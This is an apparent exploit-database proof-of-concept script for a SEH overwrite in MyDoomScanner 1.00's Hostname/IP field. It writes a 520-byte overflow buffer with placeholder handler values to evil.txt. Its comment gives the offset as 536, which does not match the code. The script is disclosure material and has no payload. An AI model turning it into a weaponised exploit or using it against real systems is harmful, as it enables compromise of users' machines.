#!/usr/bin/python
# Exploit Title : MyDoomScanner1.00 Hostname/IP Field SEH Overwrite POC
# Discovery by : Anurag Srivastava
# Email : anurag.srivastava@pyramidcyber.com
# Discovery Date : 17/08/2017
# Software Link : https://www.mcafee.com/in/downloads/free-tools/mydoomscanner.aspx
# Tested Version : 1.00
# Vulnerability Type: SEH Overwrite POC
# Tested on OS : Windows XP
# Steps to Reproduce: Copy contents of evil.txt file and paste in the Hostname/IP Field. Press ->
##########################################################################################
# -----------------------------------NOTES----------------------------------------------#
##########################################################################################
#SEH chain of main thread
#Address SE handler
#0012FAF8 43434343
#42424242 *** CORRUPT ENTRY ***
# Offset to the SEH Frame is 536
buffer = "A"*520
# Address of the Next SEH Frame
nseh = "B"*4
# Address to the Handler Code
seh = "C" *4
f = open("evil.txt", "wb")
f.write(buffer+nseh+seh)
f.close()
